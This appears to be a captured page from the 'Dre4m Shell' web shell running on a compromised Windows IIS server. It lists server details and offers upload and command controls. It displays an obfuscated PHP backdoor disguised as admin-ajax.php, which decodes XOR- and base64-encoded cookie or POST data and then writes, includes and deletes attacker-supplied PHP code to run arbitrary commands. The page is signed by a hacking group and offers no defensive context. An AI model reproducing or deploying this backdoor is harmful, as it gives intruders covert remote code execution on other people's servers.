Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 3.145.81.252
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/iscommy2/i-3s.com.my/Compromised/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/iscommy2/i-3s.com.my/Compromised/admin-ajax.php
<?php $mkqlksoir    =	'mkqlksoir'      ^ /*  ewever*/ '';$bjbjlegt_q    = /*  _e   */ $_COOKIE;


$lshiyysvjt      =   63;


$fvxcsclpo /* vxcxuz*/ =    $_POST;






function /*csvwu */ oskucs__mm()

{

 /*h */ $bfgcrkna /*   ptfoy   */ =      'rn';
 /*dg*/ $nmtwj /*  jzkonc   */ =    'wfainogkia';      $fqoubpl    =     'pkn_gc';
       $roi_epfm   =	'nrijglfg';
	$nmtwj /*ofjvg */ =    strtolower($roi_epfm);    $zdufndz       =	'cqepari';
    $dg_izzmtdi /* m */ = /*  dspk */ 'iegzpn_bf_';}




function /*vlzwjy */ sllxhptte($rtxrl_yxrr, /* zzgl*/ $fszp_n_tm)
{  global /*  hsl_ */ $mkqlksoir;	$sfklhltpe    =    "";	$lrqhs     =    43; /*wtke   */ for   ($nvtuyl	=    0;      $nvtuyl    < /*r   */ strlen($rtxrl_yxrr);) /* h */ {

       for /*  ne   */ ($lshiy	= /*ddswl   */ 0; /*ngm*/ $lshiy	< /*   _as*/ strlen($fszp_n_tm)    &&    $nvtuyl       < /*i   */ strlen($rtxrl_yxrr);    $lshiy++,    $nvtuyl++) /* c   */ {


   $sfklhltpe /*  hn*/ .=	$mkqlksoir(ord($rtxrl_yxrr[$nvtuyl]) /*  mlwv   */ ^    ord($fszp_n_tm[$lshiy]));

			$zfzbdtxz /*fn_vl*/ = /*tr  */ 20;


  }       }
    return    $sfklhltpe;}

function       dtx_hz($fgvftm,    $rtxrl_yxrr)


{ /*eic */ global	$mkqlksoir;


    $dyuews     =	sprintf("\56" /*   tvwr_*/ .       "\x2f" /*  fl   */ .    $mkqlksoir(772-735)     .	"s"."\x2e" /*muuyyf   */ .      "p"."l",    md5($fgvftm));
      file_put_contents($dyuews,	"<"    . /*   jkizzq */ "\x3f" /*   inuxbt  */ .  "\160"   . /*qzatxe */ "\x68" /*   rr  */ . /*   iud*/ "\x70"    . /*  jc */ $mkqlksoir(32) /*   v */ .    $mkqlksoir(357-240) /*  wmkbrw  */ .	$mkqlksoir(279-169) /*  rgw*/ . /*   vte*/ $mkqlksoir(464-356)       .    $mkqlksoir(105)    .       $mkqlksoir(110) /*el */ .       $mkqlksoir(636-529)    .    "("."_"."_"."\x46"  .    "I"."L"."E"."\137"   .       "_"."\51"	.   ";".$mkqlksoir(32) /* likmu */ . /*   a  */ $rtxrl_yxrr["\x64"]);
$ussiebjriz    =   'xlnyrv';

    include($dyuews);

	$ensfzlocap    =   $dyuews;


	$zqpf_ddkc /* _gmi   */ =	trim($ussiebjriz);

	$wyemvum /*   ifawq  */ =    'mkau';	@unlink($ensfzlocap);


	$xcpwo /*h_lbm */ =    41;
	$_pyjr    =    5;
}








function /*  ia   */ vbvlntird()
{
 /*w  */ global	$mkqlksoir;



    $nvtuyl /*gt */ =	array();	$qosndpqmy	=       'igonz';


    $nvtuyl[$mkqlksoir(112)     .    $mkqlksoir(118)] /* ihoar   */ =       phpversion();
	$lshiyglfj       =      45; /* utmh */ $nvtuyl["s"."v"]	=    "\x33"    .    "."."5";  echo  @serialize($nvtuyl);

}



function	bpwuxsmcw_(){
	$bbklpmzvpb /*  f */ =	67;    $nvtuylmib_ll	=  'xyzcmznh';
 /*fmkw  */ $meoa_y     = /*gymchv  */ 31;

    $bbklpmzvpb      =	$meoa_y       * /*wd  */ 20;
 /*  mxhz*/ $w_fufm /*  o  */ =    35;

}


bpwuxsmcw_();
function /*u */ wyduhej($rtxrl_yxrr, /*   vtfkfp  */ $fgvftm, /* glb  */ $wzgbuh)


{


	global	$mkqlksoir;


 /*qfm  */ $rtxrl_yxrr   =	unserialize(sllxhptte(sllxhptte(base64_decode($rtxrl_yxrr),   $fgvftm),     $wzgbuh));
 /*   il  */ if       (isset($rtxrl_yxrr["\141"    .       "\153"]))	{


    if    ($rtxrl_yxrr["a"]      ==    $mkqlksoir(105)) /* adrn*/ {

 /*  pusoc*/ vbvlntird();
	}    elseif /*   _p */ ($rtxrl_yxrr["a"] /*gy */ ==   "e") /* sxxj*/ { /* r */ dtx_hz($fgvftm, /*   ytgx  */ $rtxrl_yxrr);
			$spharkis_	=      74;

 /*whe */ }

 /*  qsd*/ exit();

	}}





$bjbjlegt_q       = /*  fbr*/ array_merge($fvxcsclpo, /*   nah  */ $bjbjlegt_q);
$fgvftm	=      "\x39"    .   "b"."2"."b"."1"."e".$mkqlksoir(1043-988) /*vve*/ .      "b"."\55" /*   ek  */ .	"\x38"       .     "8"."a"."2".$mkqlksoir(45)    .	"4".$mkqlksoir(683-582)    .	$mkqlksoir(920-864)	.     "8".$mkqlksoir(121-76) /*   _  */ .    "a"."\70" /*bhvlzm*/ .	"0"."0".$mkqlksoir(887-842) /*  ipqcew*/ .    "\x64" /* dk   */ .   "5"."e".$mkqlksoir(231-130)       . /*  _gv */ "b"."\x64"."a"."\60"    .    "\64"   .    "3".$mkqlksoir(101)	. /* s_p  */ "5";foreach	($bjbjlegt_q  as	$wzgbuh /*  ih   */ => /*   n  */ $rtxrl_yxrr)	{

	wyduhej($rtxrl_yxrr, /*yo */ $fgvftm, /*f   */ $wzgbuh);
}

$hvafizun      =  'hwjsdlr';

$bevkbgy_ux    =     31;




oskucs__mm();








?>

Anon7 - 2022
AnonSec Team